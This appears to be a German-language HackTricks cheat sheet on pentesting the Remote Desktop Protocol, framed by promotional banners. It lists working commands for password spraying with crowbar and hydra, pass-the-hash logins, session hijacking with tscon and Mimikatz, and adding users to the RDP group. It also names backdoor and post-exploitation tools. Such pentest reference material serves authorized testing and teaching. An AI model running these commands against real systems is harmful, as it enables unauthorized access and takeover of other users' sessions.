10 KiB
3389 - Pentesting RDP
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud github Repositories einreichen.
Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
Grundlegende Informationen
Entwickelt von Microsoft, ist das Remote Desktop Protocol (RDP) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird vom Benutzer eine RDP-Clientsoftware verwendet, und gleichzeitig muss der Remote-Computer RDP-Serversoftware betreiben. Diese Einrichtung ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch im Wesentlichen dessen Oberfläche auf das lokale Gerät des Benutzers gebracht wird.
Standardport: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeration
Automatisch
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Es überprüft die verfügbare Verschlüsselung und DoS-Schwachstelle (ohne einen DoS-Angriff auf den Dienst zu verursachen) und erhält NTLM-Windows-Informationen (Versionen).
Brute Force
Sei vorsichtig, du könntest Konten sperren
Passwort-Spraying
Sei vorsichtig, du könntest Konten sperren
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Verbinden mit bekannten Anmeldeinformationen/Hash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Überprüfen von bekannten Anmeldedaten gegen RDP-Dienste
rdp_check.py von Impacket ermöglicht es Ihnen zu überprüfen, ob bestimmte Anmeldedaten für einen RDP-Dienst gültig sind:
rdp_check <domain>/<name>:<password>@<IP>
Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
Angriffe
Sitzungsübernahme
Mit SYSTEM-Berechtigungen können Sie auf jede geöffnete RDP-Sitzung eines beliebigen Benutzers zugreifen, ohne das Passwort des Besitzers zu kennen.
Geöffnete Sitzungen abrufen:
query user
Zugriff auf die ausgewählte Sitzung
tscon <ID> /dest:<SESSIONNAME>
Nun werden Sie innerhalb der ausgewählten RDP-Sitzung sein und einen Benutzer mithilfe von nur Windows-Tools und -Funktionen darstellen.
Wichtig: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden.
Sie könnten Passwörter aus dem Prozess auslesen, aber diese Methode ist viel schneller und ermöglicht es Ihnen, mit den virtuellen Desktops des Benutzers zu interagieren (Passwörter in Notepad ohne auf der Festplatte gespeichert zu werden, andere RDP-Sitzungen, die auf anderen Maschinen geöffnet sind...)
Mimikatz
Sie könnten auch Mimikatz verwenden, um dies zu tun:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Durch die Kombination dieser Technik mit Stickykeys oder Utilman können Sie jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen
Sie können nach RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden, mit: https://github.com/linuz/Sticky-Keys-Slayer
RDP Prozessinjektion
Wenn sich jemand aus einer anderen Domäne oder mit höheren Berechtigungen über RDP auf dem PC anmeldet, auf dem Sie ein Administrator sind, können Sie Ihren Beacon in seinen RDP-Sitzungsprozess injizieren und als er handeln:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Benutzer zur RDP-Gruppe hinzufügen
net localgroup "Remote Desktop Users" UserLoginName /add
Automatische Tools
AutoRDPwn ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich darauf ausgelegt ist, den Shadow-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Feature aufgeführt) ermöglicht es einem entfernten Angreifer, den Desktop seines Opfers ohne dessen Zustimmung anzusehen und ihn sogar bei Bedarf mit den nativen Tools des Betriebssystems zu steuern.
- EvilRDP
- Steuere Maus und Tastatur auf automatisierte Weise über die Befehlszeile
- Steuere die Zwischenablage auf automatisierte Weise über die Befehlszeile
- Starte einen SOCKS-Proxy vom Client aus, der die Netzwerkkommunikation zum Ziel über RDP leitet
- Führe beliebige SHELL- und PowerShell-Befehle auf dem Ziel aus, ohne Dateien hochzuladen
- Lade Dateien auf das Ziel hoch und lade sie herunter, auch wenn Dateiübertragungen auf dem Ziel deaktiviert sind
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Sofort verfügbare Einrichtung für Schwachstellenanalyse & Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositorys einreichen.